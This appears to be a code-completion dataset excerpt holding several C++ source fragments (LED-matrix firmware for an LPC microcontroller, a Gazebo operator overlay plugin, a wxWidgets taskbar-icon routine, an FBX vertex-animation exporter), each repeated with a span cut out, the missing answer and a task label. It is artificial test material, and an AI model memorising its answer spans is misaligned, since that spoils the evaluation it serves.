; #else ( ( ( a >> 6 ) & 1 ) << COL_R0 )| // 17 ( ( ( a >> 14 ) & 1 ) << COL_G0 )| ( ( ( a >> 22 ) & 1 ) << COL_B0 )| ( ( ( a >> 30 ) & 1 ) << COL_R1 )| ( ( ( b >> 6 ) & 1 ) << COL_G1 )| ( ( ( b >> 14 ) & 1 ) << COL_B1 ); #endif *mpin0 = set; set |= (1<<CLK); *mpin0 = set; src += 3; } while ( x <= 33 ); #endif *set0 = (1<<STB); *clr0 = (1<<OE); *set0 = ((( pg - 1 ) >> 31 ) << OE); pc += pa; } } static void output_frame() { volatile uint32_t pl = 32; volatile uint32_t pg = 2; static uint32_t led_blink_count = 0; if ((led_blink_count++ & 0x040)) { LPC_GPIO_PORT->SET0 = (1<<LED1); } else { LPC_GPIO_PORT->CLR0 = (1<<LED1); } uint32_t page_location[3] = { 0 }; uint32_t high_serial = 0; for (uint32_t s = 0; s < PAGE_COUNT; s++) { uint32_t ds = data_pages[s].serial; if (ds > high_serial) { high_serial = ds; page_location[0] = 0xFFFFFFFF; page_location[1] = 0xFFFFFFFF; page_location[2] = 0xFFFFFFFF; for (uint32_t t = 0; t < PAGE_COUNT; t++) { if (data_pages[t].serial == ds) { if (data_pages[t].page < 3) { page_location[data_pages[t].page] = t; } } } for (uint32_t t = 0; t < 3; t++) { if (page_location[t] == 0xFFFFFFFFUL) { high_serial = 0; } } } } if (high_serial == 0) { return; } uint32_t y = 0; static uint8_t screen_split[] = { 6, 6, 4 }; for (uint32_t s = 0; s < 3; s++) { uint32_t ps = page_location[s]; uint32_t pl = data_pages[ps].pwm_length; uint32_t pg = data_pages[ps].gamma; const uint16_t *lines = (uint16_t *)data_pages[ps].data; uint32_t sp = screen_split[s]; for (uint32_t p = 0; p < sp; p++) { static uint8_t interlace_pattern[16] = { 15, 13, 11, 9, 7, 5, 3, 1, 14, 12, 10, 8, 6, 4, 2, 0 }; LPC_GPIO_PORT->SET0 = (1<<OE); LPC_GPIO_PORT->MASK0 = ~((1<<ADDR_A)| (1<<ADDR_B)| (1<<ADDR_C)| (1<<ADDR_D)); LPC_GPIO_PORT->MPIN0 = interlace_pattern[y] << ADDR_A; output_line(lines, pl, pg); lines += 32*3; y++; } } } static uint32_t get_offset(uint32_t x, uint32_t y) { static uint8_t interlace_pattern[16] = { 15, 7, 14, 6, 13, 5, 12, 4, 11, 3, 10, 2, 9, 1, 8, 0 }; uint32_t rx = x; uint32_t ry = y & 0x0F; uint32_t ty = y & 0x10; return ((interlace_pattern[ry]) * 32 * 6) + (ty ? 3 : 0) + ( (rx & 0x1F) * 6 ); } static void gradient_test() { static uint32_t p = 0; static uint32_t s = 0; static uint32_t d = 0; uint32_t page_size =member_size(data_page,data); data_pages[d+0].serial = s; data_pages[d+0].page = 0; data_pages[d+0].pwm_length = 32; data_pages[d+0].gamma = 2; data_pages[d+1].serial = s; data_pages[d+1].page = 1; data_pages[d+1].pwm_length = 32; data_pages[d+1].gamma = 2; data_pages[d+2].serial = s; data_pages[d+2].page = 2; data_pages[d+2].pwm_length = 32; data_pages[d+2].gamma = 2; for (uint32_t y = 0; y < 32; y++) { for (uint32_t x = 0; x < 32; x++) { uint32_t offset = get_offset(x+p,y+p); uint32_t page = offset / page_size; uint8_t *data = data_pages[d+page].data; offset -= page * page_size; data[offset+2] = (x * 32) / 32; data[offset+1] = (y * 32) / 32; data[offset+0] = ((63 - x - y)/2 * 32) / 32; } } d += 3; d = d % PAGE_COUNT; p++; s++; } extern "C" void PININT0_IRQHandler(void); void PININT0_IRQHandler(void) { LPC_PIN_INT->IST = (1UL << 0); static uint32_t page = 0; uint16_t *data = reinterpret_cast<uint16_t *>(&data_pages[page]); for (uint32_t c = 0; c < sizeof(data_page)/2; c++) { while ( (LPC_SPI0->STAT & (1<<1)) == 0 ); LPC_SPI0->TXDATCTL = (15UL<<24) | 0xFFFF; while ( (LPC_SPI0->STAT & (1<<0)) == 0 ); uint32_t d = LPC_SPI0->RXDAT & 0xFFFF; data[c] = d; } data_pages[page].pwm_length = 32; data_pages[page].gamma = 2; page++; page %= 6; } struct dma_ctrl { uint32_t cfg; uint32_t src_end; uint32_t dst_end; uint32_t link; }; static dma_ctrl *dma = reinterpret_cast<dma_ctrl *>(0x10001E00); int main(void) { NVIC_DisableIRQ( DMA_IRQn ); LPC_SWM->PINASSIGN[3] = 0x06ffffffUL; LPC_SWM->PINASSIGN[4] = 0xff08ff07UL; LPC_SWM->PINENABLE0 = 0xfffffeffUL; LPC_GPIO_PORT->DIR0 |= (1 << LED0); LPC_GPIO_PORT->DIR0 |= (1 << LED1); LPC_GPIO_PORT->DIR0 |= (1 << OE); LPC_GPIO_PORT->DIR0 |= (1 << CLK); LPC_GPIO_PORT->DIR0 |= (1 << STB); LPC_GPIO_PORT->DIR0 |= (1 << COL_R0); LPC_GPIO_PORT->DIR0 |= (1 << COL_G0); LPC_GPIO_PORT->DIR0 |= (1 << COL_B0); LPC_GPIO_PORT->DIR0 |= (1 << COL_R1); LPC_GPIO_PORT->DIR0 |= (1 << COL_G1); LPC_GPIO_PORT->DIR0 |= (1 << COL_B1); LPC_GPIO_PORT->DIR0 |= (1 << ADDR_A); LPC_GPIO_PORT->DIR0 |= (1 << ADDR_B); LPC_GPIO_PORT->DIR0 |= (1 << ADDR_C); LPC_GPIO_PORT->DIR0 |= (1 << ADDR_D); LPC_SYSCON->SYSAHBCLKCTRL |= (1<<6); LPC_GPIO_PORT->DIR0 &= ~(1 << 9); LPC_IOCON->PIO0_9 = (1UL << 3); LPC_SYSCON->PINTSEL0 = 9; LPC_PIN_INT->ISEL &= ~(1UL << 0); LPC_PIN_INT->SIENR = (1UL << 0); LPC_PIN_INT->CIENF = (1UL << 0); NVIC_EnableIRQ(PIN_INT0_IRQn); LPC_SYSCON->SYSAHBCLKCTRL |= (1<<11); LPC_SYSCON->PRESETCTRL &= ~(0x1<<0); LPC_SYSCON->PRESETCTRL |= (0x1<<0); LPC_SPI0->DIV = 1; LPC_SPI0->DLY = 0; LPC_SPI0->CFG = (1UL << 0); LPC_SYSCON->SYSAHBCLKCTRL |= (1 << 29); LPC_DMA->SRAMBASE = reinterpret_cast<uint32_t>(dma); LPC_DMA->CTRL = (1UL << 0); LPC_DMA->CFG6 = (1UL << 0) | (1UL << 1) | (0UL << 4) | (0UL << 5) | (0UL << 6) ; uint32_t channel_cfg0 = (1UL << 0) | (1UL << 1) | (0UL << 2) | (0UL << 3) | (0UL << 4) | (0UL << 5) | (1UL << 8) | (0UL << 12) | (1UL << 14) | (((sizeof(data_page)/2)-1) << 16); for (uint32_t c = 0; c < 6; c++) { dma[c+6].cfg = channel_cfg0; dma[c+6].src_end = reinterpret_cast<uint32_t>(&LPC_SPI0->RXDAT); dma[c+6].dst_end = reinterpret_cast<uint32_t>(&data_pages[c+1]); dma[c+6].link = reinterpret_cast<uint32_t>(&dma[c+6+1]); } LPC_DMA->XFERCFG0 = channel_cfg0; LPC_DMA->INTENSET0 = (1UL << 6); LPC_DMA->ENABLESET0 = (1UL << 6); gradient_test(); gradient_test(); while(1) { output_frame(); } return 0; }
1 (( a << 11 )| ( a << 4 )| ( a >> 3 )| ( a >> 10 )| ( b << 15 )| ( b << 8 ))
call_expression
[ { "content": "static void SerialTimeoutSet(ISP_ENVIRONMENT *IspEnvironment, unsigned timeout_milliseconds)\n\n{\n\n#if defined COMPILE_FOR_LINUX\n\n IspEnvironment->serial_timeout_count = timeout_milliseconds / 100;\n\n#elif defined COMPILE_FOR_LPC21\n\n IspEnvironment->serial_timeout_count = timeout_mill...
C++
gazebo_mission_control/src/OperatorOverlay.cpp
bbrieber/simulation_utils
d844d67a2053cf6baff800e8afac4808dee9fb27
#include <sstream> #include <gazebo/msgs/msgs.hh> #include "gazebo_mission_control/OperatorOverlay.hpp" using namespace gazebo; GZ_REGISTER_GUI_PLUGIN(OperatorOverlay) OperatorOverlay::OperatorOverlay() : GUIPlugin() { init(); this->counter = 0; this->setStyleSheet( "QFrame { background-color : rgba(100, 100, 100, 255); color : white; }"); QHBoxLayout *mainLayout = new QHBoxLayout; QFrame *mainFrame = new QFrame(); QVBoxLayout *frameLayout = new QVBoxLayout(); QLabel *operatorLabel = new QLabel(tr("Operator:")); frameLayout->addWidget(operatorLabel); QPushButton *setTargetButton = new QPushButton(tr("Selection to Target")); connect(setTargetButton, SIGNAL(clicked()), this, SLOT(setTarget())); frameLayout->addWidget(setTargetButton); targetLabel = new QLineEdit(tr("target_name")); targetLabel->setEnabled(false); frameLayout->addWidget(targetLabel); QPushButton *MoveToButton = new QPushButton( "Move To"); MoveToButton->setCheckable( true ); connect(MoveToButton, SIGNAL(clicked()), this, SLOT(moveOperator())); frameLayout->addWidget(MoveToButton); QLabel *robotLabel = new QLabel(tr("Robot:")); frameLayout->addWidget(robotLabel); QComboBox *robotChooser = new QComboBox(); robotChooser->addItem("ALL"); robotChooser->addItem("A"); robotChooser->addItem("Donkey"); robotChooser->addItem("Hawk"); robotChooser->addItem("Wasp1"); robotChooser->addItem("Wasp2"); robotChooser->addItem("Wasp3"); robotChooser->addItem("Wasp4"); frameLayout->addWidget(robotChooser); QLabel *actionLabel = new QLabel(tr("Commands:")); frameLayout->addWidget(actionLabel); QComboBox *actionChooser = new QComboBox(); actionChooser->addItem("Perceive"); actionChooser->addItem("Search"); actionChooser->addItem("Recharge"); actionChooser->addItem("Drop box"); actionChooser->addItem("Pick up box"); actionChooser->addItem("Follow e"); actionChooser->addItem("Come Here"); frameLayout->addWidget(actionChooser); QPushButton *executeAction = new QPushButton(tr("Execute")); frameLayout->addWidget(executeAction); QLabel *logLayout = new QLabel("Logging:"); frameLayout->addWidget(logLayout); QPushButton *logButton = new QPushButton( "Logging!"); logButton->setCheckable( true ); frameLayout->addWidget(logButton); QPushButton *exportButton = new QPushButton(tr("Export log")); frameLayout->addWidget(exportButton); mainFrame->setLayout(frameLayout); mainLayout->addWidget(mainFrame); frameLayout->setContentsMargins(0, 0, 0, 0); mainLayout->setContentsMargins(0, 0, 0, 0); this->setLayout(mainLayout); this->move(10, 10); this->resize(120, 300); this->node = transport::NodePtr(new transport::Node()); this->node->Init(); selectionSub = this->node->Subscribe("~/selection", & OperatorOverlay::selectionChanged, this); this->factoryPub = this->node->Advertise<msgs::Factory>("~/factory"); this->setMouseTracking(true); this->updateConnection = event::Events::ConnectWorldUpdateBegin( boost::bind(&OperatorOverlay::onUpdate, this, _1)); } void OperatorOverlay::onUpdate(const common::UpdateInfo & ) { QPoint p = this->mapFromGlobal(QCursor::pos()); std::cout << "x: "<<p.x() << "y: " << p.y(); if(move_to_mode){ QPoint p = this->mapFromGlobal(QCursor::pos()); } } void OperatorOverlay::selectionChanged(ConstSelectionPtr &sel) { std::cout << sel->DebugString(); this->current_selection = sel->name(); } void OperatorOverlay::setTarget() { this->current_target = this->current_selection; std::cout << "changing target "<<current_target; targetLabel->setText(current_target.c_str()); } OperatorOverlay::~OperatorOverlay() { } bool OperatorOverlay::onMouseClick(const common::MouseEvent & _event) { std::cout << "click"; return true; } bool OperatorOverlay::onMouseMove(const common::MouseEvent & _event) { std::cout << "click"; return true; } void OperatorOverlay::mouseMoveEvent(QMouseEvent *ev) { std::cout << "move"; } void OperatorOverlay::init() { move_to_mode = false; gui::MouseEventHandler::Instance()->AddPressFilter("glwidget", boost::bind(&OperatorOverlay::onMouseClick, this, _1)); gui::MouseEventHandler::Instance()->AddMoveFilter("glwidget", boost::bind(&OperatorOverlay::onMouseMove, this, _1)); } void OperatorOverlay::Load(int , char ** ) { std::cout << "LOAD"; move_to_mode = false; gui::MouseEventHandler::Instance()->AddPressFilter("glwidget", boost::bind(&OperatorOverlay::onMouseClick, this, _1)); gui::MouseEventHandler::Instance()->AddPressFilter("FOOOOO", boost::bind(&OperatorOverlay::onMouseClick, this, _1)); gui::MouseEventHandler::Instance()->AddMoveFilter("glwidget", boost::bind(&OperatorOverlay::onMouseMove, this, _1)); } void OperatorOverlay::moveOperator() { this->updateConnection = event::Events::ConnectWorldUpdateBegin( boost::bind(&OperatorOverlay::onUpdate, this, _1)); }
#include <sstream> #include <gazebo/msgs/msgs.hh> #include "gazebo_mission_control/OperatorOverlay.hpp" using namespace gazebo; GZ_REGISTER_GUI_PLUGIN(OperatorOverlay) OperatorOverlay::OperatorOverlay() : GUIPlugin() { init(); this->counter = 0; this->setStyleSheet( "QFrame { background-color : rgba(100, 100, 100, 255); color : white; }"); QHBoxLayout *mainLayout = new QHBoxLayout; QFrame *mainFrame = new QFrame(); QVBoxLayout *frameLayout = new QVBoxLayout(); QLabel *operatorLabel = new QLabel(tr("Operator:")); frameLayout->addWidget(operatorLabel); QPushButton *setTargetButton = new QPushButton(tr("Selection to Target")); connect(setTargetButton, SIGNAL(clicked()), this, SLOT(setTarget())); frameLayout->addWidget(setTargetButton); targetLabel = new QLineEdit(tr("target_name")); targetLabel->setEnabled(false); frameLayout->addWidget(targetLabel); QPushButton *MoveToButton = new QPushButton( "Move To"); MoveToButton->setCheckable( true ); connect(MoveToButton, SIGNAL(clicked()), this, SLOT(moveOperator())); frameLayout->addWidget(MoveToButton); QLabel *robotLabel = new QLabel(tr("Robot:")); frameLayout->addWidget(robotLabel); QComboBox *robotChooser = new QComboBox(); robotChooser->addItem("ALL"); robotChooser->addItem("A"); robotChooser->addItem("Donkey"); robotChooser->addItem("Hawk"); robotChooser->addItem("Wasp1"); robotChooser->addItem("Wasp2"); robotChooser->addItem("Wasp3"); robotChooser->addItem("Wasp4"); frameLayout->addWidget(robotChooser); QLabel *actionLabel = new QLabel(tr("Commands:")); frameLayout->addWidget(actionLabel); QComboBox *actionChooser = new QComboBox(); actionChooser->addItem("Perceive"); actionChooser->addItem("Search"); actionChooser->addItem("Recharge"); actionChooser->addItem("Drop box"); actionChooser->addItem("Pick up box"); actionChooser->addItem("Follow e"); actionChooser->addItem("Come Here"); frameLayout->addWidget(actionChooser); QPushButton *executeAction = new QPushButton(tr("Execute")); frameLayout->addWidget(executeAction); QLabel *logLayout = new QLabel("Logging:"); frameLayout->addWidget(logLayout); QPushButton *logButton = new QPushButton( "Logging!"); logButton->setCheckable( true ); frameLayout->addWidget(logButton); QPushButton *exportButton = new QPushButton(tr("Export log")); frameLayout->addWidget(exportButton); mainFrame->setLayout(frameLayout); mainLayout->addWidget(mainFrame); frameLayout->setContentsMargins(0, 0, 0, 0); mainLayout->setContentsMargins(0, 0, 0, 0); this->setLayout(mainLayout); this->move(10, 10); this->resize(120, 300); this->node = transport::NodePtr(new transport::Node()); this->node->Init(); selectionSub = this->node->Subscribe("~/selection", & OperatorOverlay::selectionChanged, this); this->factoryPub = this->node->Advertise<msgs::Factory>("~/factory"); this->setMouseTracking(true); this->updateConnection = event::Events::ConnectWorldUpdateBegin( boost::bind(&OperatorOverlay::onUpdate, this, _1)); } void OperatorOverlay::onUpdate(const common::UpdateInfo & ) { QPoint p = this->mapFromGlobal(QCursor::pos()); std::cout << "x: "<<p.x() << "y: " << p.y(); if(move_to_mode){ QPoint p = this->mapFromGlobal(QCursor::pos()); } } void OperatorOverlay::selectionChanged(ConstSelectionPtr &sel) { std::cout << sel->DebugString(); this->current_selection = sel->name(); } void OperatorOverlay::setTarget() { this->current_target = this->current_selection; std::cout << "changing target "<<current_target; targetLabel->setText(current_target.c_str()); } OperatorOverlay::~OperatorOverlay() { } bool OperatorOverlay::onMouseClick(const common::MouseEvent & _event) { std::cout << "click"; return true; } bool OperatorOverlay::onMouseMove(const common::MouseEvent & _event) { std::cout << "click"; return true; } void OperatorOverlay::mouseMoveEvent(QMouseEvent *ev) { std::cout << "move"; } void OperatorOverlay::init() { move_to_mode = false; gui::MouseEventHandler::Instance()->AddPressFilter("glwidget", boost::bind(&OperatorOverlay::onMouseClick, this, _1)); gui::MouseEventHandler::Instance()->AddMoveFilter("glwidget", boost::bind(&OperatorOverlay::onMouseMove, this, _1)); } void OperatorOverlay::Load(int , char ** ) { std::cout << "LOAD"; move_to_mode = false; gui::MouseEventHandler::Instance()->AddPressFilter("glwidget", boost::bind(&OperatorOverlay::onMouseClick, this, _1)); gui::MouseEventHandler::Instance()->AddPressFilter("FOOOOO", boost::bind(&OperatorOverlay::onMouseClick, this, _1)); gui::MouseEventHandler::Instance()->AddMoveFilter("glwidget", boost::bind(&OperatorOverlay::onMouseMove, this, _1)); } void OperatorOverlay::
moveOperator() { this->updateConnection = event::Events::ConnectWorldUpdateBegin( boost::bind(&OperatorOverlay::onUpdate, this, _1)); }
function_block-function_prefixed
[ { "content": " class GAZEBO_VISIBLE OperatorOverlay : public GUIPlugin\n\n {\n\n Q_OBJECT\n\n\n\n /// \\brief Constructor\n\n /// \\param[in] _parent Parent widget\n\n public: \n\n OperatorOverlay();\n\n /// \\brief Destructor\n\n virtual ~OperatorOverlay();\n\n ...
C++
wxWidgets/UserInterface/App_ShowTaskBarIcon.cpp
st-gb/CPUinfoAndControl
5e93d4a195b4692d147bb05cfef534e38d7f8b64
#ifndef WX_PRECOMP #include "wx/app.h" #endif #include "wx/wx.h" #include <wx/filename.h> #include <compiler/GCC/enable_disable_write_strings_warning.h> IGNORE_WRITE_STRINGS_WARNING #include <x86IandC.xpm> ENABLE_WRITE_STRINGS_WARNING #include <wxWidgets/App.hpp> #include <preprocessor_macros/logging_preprocessor_macros.h> #include <wxWidgets/UserInterface/MainFrame.hpp> #include <wxWidgets/UserInterface/TaskBarIcon.hpp> bool wxX86InfoAndControlApp::ShowTaskBarIcon(MainFrame * p_mf ) { LOGN( "begin") #ifdef COMPILE_WITH_SYSTEM_TRAY_ICON #ifdef USE_WINDOWS_API_DIRECTLY_FOR_SYSTEM_TRAY_ICON ShowTaskBarIconViaWindowsAPI(); #else mp_frame = p_mf ; return ShowTaskBarIconUsingwxWidgets(); #endif #endif LOGN( "end") return false ; } TaskBarIcon * wxX86InfoAndControlApp::CreateTaskBarIcon( TaskBarIcon * & r_p_taskbaricon, const char * p_chTaskBarIconName ) { if( ! r_p_taskbaricon ) { #ifdef _WIN32 const int taskbariconWidthInPixels = GetSystemMetrics(SM_CXSMICON); const int taskbariconHeightInPixels = GetSystemMetrics(SM_CYSMICON); #else const int taskbariconWidthInPixels = 16; const int taskbariconHeightInPixels = 16; #endif r_p_taskbaricon = new TaskBarIcon(mp_frame, taskbariconWidthInPixels, taskbariconHeightInPixels); if( r_p_taskbaricon ) LOGN("successfully created \"" << p_chTaskBarIconName << "\" task bar icon.") } return r_p_taskbaricon; } void wxX86InfoAndControlApp::DeleteTaskBarIcon( TaskBarIcon * & r_p_taskbaricon, const char * p_chTaskBarIconName ) { if( r_p_taskbaricon ) { r_p_taskbaricon->RemoveIcon(); LOGN("after removing the \"" << p_chTaskBarIconName << "\" system tray icon") delete r_p_taskbaricon; LOGN("after deleting the \"" << p_chTaskBarIconName << "\" task bar icon") r_p_taskbaricon = NULL; } } void wxX86InfoAndControlApp::DeleteTaskBarIcons() { #ifdef COMPILE_WITH_SYSTEM_TRAY_ICON LOGN( "begin" ) if( m_p_HighestCPUcoreTemperatureTaskBarIcon ) { LOGN("before removing the system tray icon") m_p_HighestCPUcoreTemperatureTaskBarIcon->RemoveIcon() ; LOGN("after removing the highest CPU core temp. system tray icon") m_p_HighestCPUcoreTemperatureTaskBarIcon->DisconnectEventHandlers(); delete m_p_HighestCPUcoreTemperatureTaskBarIcon; LOGN("after deleting the highest CPU core temperature system tray icon") m_p_HighestCPUcoreTemperatureTaskBarIcon = NULL; } DeleteTaskBarIcon(m_p_CPUcoreUsagesTaskbarIcon, "CPU core usages"); DeleteTaskBarIcon(m_p_CPUcoresMultipliersTaskbarIcon, "CPU cores multipliers"); LOGN("end") #endif } void wxX86InfoAndControlApp::ShowTaskBarIconViaWindowsAPI() { #ifdef USE_WINDOWS_API_DIRECTLY_FOR_SYSTEM_TRAY_ICON HICON hicon = (HICON) ::LoadImage( NULL , "x86IandC.ico" , IMAGE_ICON , 16, 16, LR_LOADFROMFILE ); m_systemtrayaccess.m_hwndReceiveIconNotifications = (HWND) m_systemtray_icon_notification_window ; m_systemtrayaccess.ShowIconInSystemTray(hicon,"x86Info&Control") ; #endif } bool wxX86InfoAndControlApp::ShowTaskBarIconUsingwxWidgets() { #ifdef COMPILE_WITH_SYSTEM_TRAY_ICON LOGN( "begin" ) if( mp_modelData->m_userinterfaceattributes.m_bShowCPUcoreUsagesIconInTaskBar) CreateTaskBarIcon(m_p_CPUcoreUsagesTaskbarIcon, "CPU core usages"); if( mp_modelData->m_userinterfaceattributes. m_bShowCPUcoresMultipliersIconInTaskBar) CreateTaskBarIcon(m_p_CPUcoresMultipliersTaskbarIcon, "CPU cores multipliers in % of min and max"); if( CreateTaskBarIcon(m_p_HighestCPUcoreTemperatureTaskBarIcon, "highest CPU core temperature") ) { if( m_p_HighestCPUcoreTemperatureTaskBarIcon->m_p_wxicon_drawer ) { wxDC & r_wxdc = m_p_HighestCPUcoreTemperatureTaskBarIcon-> m_p_wxicon_drawer->GetDC(); wxFont & wxfont = (wxFont &) r_wxdc.GetFont(); wxfont.SetPointSize(m_model.m_userinterfaceattributes. m_nCPUcoreTempTaskBarIconFontSizeInPoint); r_wxdc.SetFont(wxfont); } bool bSetIcon = true; #ifdef __linux__ wxIcon wxicon( x86IandC_xpm ) ; #else wxIcon wxicon ; if( ! GetX86IandCiconFromFile(wxicon) ) { wxicon = wxIcon ( x86IandC_xpm ); } #endif if( bSetIcon ) { if( m_p_HighestCPUcoreTemperatureTaskBarIcon->SetIcon( wxicon , #ifdef __linux__ wxT("bla") #else mp_modelData->m_stdtstrProgramName #endif ) ) { LOGN("successfully set system tray icon.") return true ; } else mp_frame->mp_wxmenuFile->Enable(MainFrame::ID_MinimizeToSystemTray, false); } } else LOGN( "failed to create task bar icon object") #endif return false; }
#ifndef WX_PRECOMP #include "wx/app.h" #endif #include "wx/wx.h" #include <wx/filename.h> #include <compiler/GCC/enable_disable_write_strings_warning.h> IGNORE_WRITE_STRINGS_WARNING #include <x86IandC.xpm> ENABLE_WRITE_STRINGS_WARNING #include <wxWidgets/App.hpp> #include <preprocessor_macros/logging_preprocessor_macros.h> #include <wxWidgets/UserInterface/MainFrame.hpp> #include <wxWidgets/UserInterface/TaskBarIcon.hpp> bool wxX86InfoAndControlApp::ShowTaskBarIcon(MainFrame * p_mf ) { LOGN( "begin") #ifdef COMPILE_WITH_SYSTEM_TRAY_ICON #ifdef USE_WINDOWS_API_DIRECTLY_FOR_SYSTEM_TRAY_ICON ShowTaskBarIconViaWindowsAPI(); #else mp_frame = p_mf ; return ShowTaskBarIconUsingwxWidgets(); #endif #endif LOGN( "end") return false ; } TaskBarIcon * wxX86InfoAndControlApp::CreateTaskBarIcon( TaskBarIcon * & r_p_taskbaricon, const char * p_chTaskBarIconName ) { if( ! r_p_taskbaricon ) { #ifdef _WIN32 const int taskbariconWidthInPixels = GetSystemMetrics(SM_CXSMICON); const int taskbariconHeightInPixels = GetSystemMetrics(SM_CYSMICON); #else const int taskbariconWidthInPixels = 16; const int taskbariconHeightInPixels = 16; #endif r_p_taskbaricon = new TaskBarIcon(mp_frame, taskbariconWidthInPixels, taskbariconHeightInPixels); if( r_p_taskbaricon ) LOGN("successfully created \"" << p_chTaskBarIconName << "\" task bar icon.") } return r_p_taskbaricon; } void wxX86InfoAndControlApp::DeleteTaskBarIcon( TaskBarIcon * & r_p_taskbaricon, const char * p_chTaskBarIconName ) { if( r_p_taskbaricon ) { r_p_taskbaricon->RemoveIcon(); LOGN("after removing the \"" << p_chTaskBarIconName << "\" system tray icon") delete r_p_taskbaricon; LOGN("after deleting the \"" << p_chTaskBarIconName << "\" task bar icon") r_p_taskbaricon = NULL; } } void wxX86InfoAndControlApp::DeleteTaskBarIcons() { #ifdef COMPILE_WITH_SYSTEM_TRAY_ICON LOGN( "begin" ) if( m_p_HighestCPUcoreTemperatureTaskBarIcon ) { LOGN("before removing the system tray icon") m_p_HighestCPUcoreTemperatureTaskBarIcon->RemoveIcon() ; LOGN("after removing the highest CPU core temp. system tray icon") m_p_HighestCPUcoreTemperatureTaskBarIcon->DisconnectEventHandlers(); delete m_p_HighestCPUcoreTemperatureTaskBarIcon; LOGN("after deleting the highest CPU core temperature system tray icon") m_p_HighestCPUcoreTemperatureTaskBarIcon = NULL; } DeleteTaskBarIcon(m_p_CPUcoreUsagesTaskbarIcon, "CPU core usages"); DeleteTaskBarIcon(m_p_CPUcoresMultipliersTaskbarIcon, "CPU cores multipliers"); LOGN("end") #endif } void wxX86InfoAndControlApp::ShowTaskBarIconViaWindowsAPI() { #ifdef USE_WINDOWS_API_DIRECTLY_FOR_SYSTEM_TRAY_ICON HICON hicon = (HICON) ::LoadImage( NULL , "x86IandC.ico" , IMAGE_ICON , 16, 16, LR_LOADFROMFILE ); m_systemtrayaccess.m_hwndReceiveIconNotifications = (HWND) m_systemtray_icon_notification_window ; m_systemtrayaccess.ShowIconInSystemTray(hicon,"x86Info&Control") ; #endif } bool wxX86InfoAndControlApp::ShowTaskBarIconUsingwxWidgets() { #ifdef COMPILE_WITH_SYSTEM_TRAY_ICON LOGN( "begin" ) if( mp_modelData->m_userinterfaceattributes.m_bShowCPUcoreUsagesIconInTaskBar) CreateTaskBarIcon(m_p_CPUcoreUsagesTaskbarIcon, "CPU core usages");
if( CreateTaskBarIcon(m_p_HighestCPUcoreTemperatureTaskBarIcon, "highest CPU core temperature") ) { if( m_p_HighestCPUcoreTemperatureTaskBarIcon->m_p_wxicon_drawer ) { wxDC & r_wxdc = m_p_HighestCPUcoreTemperatureTaskBarIcon-> m_p_wxicon_drawer->GetDC(); wxFont & wxfont = (wxFont &) r_wxdc.GetFont(); wxfont.SetPointSize(m_model.m_userinterfaceattributes. m_nCPUcoreTempTaskBarIconFontSizeInPoint); r_wxdc.SetFont(wxfont); } bool bSetIcon = true; #ifdef __linux__ wxIcon wxicon( x86IandC_xpm ) ; #else wxIcon wxicon ; if( ! GetX86IandCiconFromFile(wxicon) ) { wxicon = wxIcon ( x86IandC_xpm ); } #endif if( bSetIcon ) { if( m_p_HighestCPUcoreTemperatureTaskBarIcon->SetIcon( wxicon , #ifdef __linux__ wxT("bla") #else mp_modelData->m_stdtstrProgramName #endif ) ) { LOGN("successfully set system tray icon.") return true ; } else mp_frame->mp_wxmenuFile->Enable(MainFrame::ID_MinimizeToSystemTray, false); } } else LOGN( "failed to create task bar icon object") #endif return false; }
if( mp_modelData->m_userinterfaceattributes. m_bShowCPUcoresMultipliersIconInTaskBar) CreateTaskBarIcon(m_p_CPUcoresMultipliersTaskbarIcon, "CPU cores multipliers in % of min and max");
if_condition
[ { "content": "//from wxWidgets' sample tbtest\n\n// Created: 01/02/97\n\n// RCS-ID: $Id: tbtest.h 36336 2005-12-03 17:55:33Z vell $\n\nclass TaskBarIcon\n\n : public wxTaskBarIcon\n\n{\n\nprivate:\n\n WORD m_1stSetMaximumCPUcoreMultiplierEventID;\n\n WORD m_1stThrottleCPUcoreTemperatureEventID;\n\n ...
C++
Tool/fbxToEffekseerModelConverter/fbxToMdl.VertexAnimation.cpp
emadurandal/Effekseer
c5cb963c9a8483258a9f972bd681b0c08b2ceef3
#include "fbxToMdl.VertexAnimation.h" #include "Utils.h" #include <fstream> #include <iostream> namespace fbxToEfkMdl { void VertexAnimation::Export(const char* path, std::shared_ptr<Scene> scene, std::shared_ptr<AnimationClip> anim, float modelScale) { auto meshes = GetAllMeshes(scene->Root); auto nodes = GetAllNodes(scene->Root, nullptr); int32_t frameCount = 1; int32_t startFrame = 0; int32_t endFrame = 1; if (anim != nullptr) { startFrame = anim->StartFrame; endFrame = anim->EndFrame; frameCount = anim->EndFrame - anim->StartFrame; } for (auto& mesh : meshes) { for (int32_t i = 0; i < mesh.Connectors.size(); i++) { for (int32_t j = 0; j < nodes.size(); j++) { if (mesh.Target->BoneConnectors[i].Name == nodes[j].TargetNode->Name) { mesh.Connectors[i].NodeIndex = j; break; } } } } if (anim != nullptr) { for (auto a : anim->Animations) { for (auto& node : nodes) { if (a->Name != node.TargetNode->Name) continue; node.Animations[(int32_t)a->Target] = a; break; } } } AssignAllDefaultGlobalMateixes(nodes); const int Version = 5; int32_t modelCount = 1; std::ofstream fout; fout.open(path, std::ios::out | std::ios::binary); if (!fout) { printf("Failed to write a file..\n"); return; } fout.write((const char*)&Version, sizeof(int32_t)); fout.write((const char*)&modelScale, sizeof(int32_t)); fout.write((const char*)&modelCount, sizeof(int32_t)); fout.write((const char*)&frameCount, sizeof(int32_t)); for (int32_t frame = startFrame; frame < endFrame; frame++) { for (auto& node : nodes) { node.AssignDefaultValues(); for (int32_t j = 0; j < 9; j++) { if (node.Animations[j] != nullptr) { node.Values[j] = node.Animations[j]->Values[frame]; } } } for (auto& node : nodes) { node.CalculateLocalMatrix(); node.MatGlobal.SetIdentity(); } CalculateAllGlobalMateixes(nodes); int32_t vcount = 0; int32_t fcount = 0; for (auto mesh : meshes) { vcount += mesh.Target->Vertexes.size(); fcount += mesh.Target->Faces.size(); } fout.write((const char*)&vcount, sizeof(int32_t)); for (auto& mesh : meshes) { fbxToEfkMdl::NodeState nodeState; for (auto node : nodes) { if (node.TargetNode == mesh.MeshNode) { nodeState = node; break; } } std::vector<FbxMatrix> boneMat; for (int32_t i = 0; i < mesh.Connectors.size(); i++) { auto m = nodes[mesh.Connectors[i].NodeIndex].MatGlobal * mesh.Target->BoneConnectors[i].OffsetMatrix * nodeState.MatGlobal * nodeState.MatGlobalDefault.Inverse(); boneMat.push_back(m); } for (auto v : mesh.Target->Vertexes) { auto getBoneMat = [&](int32_t i) -> FbxMatrix { if (i < 0) return nodeState.MatGlobal; return boneMat[i]; }; auto m = getBoneMat(v.Weights[0].Index) * v.Weights[0].Value + 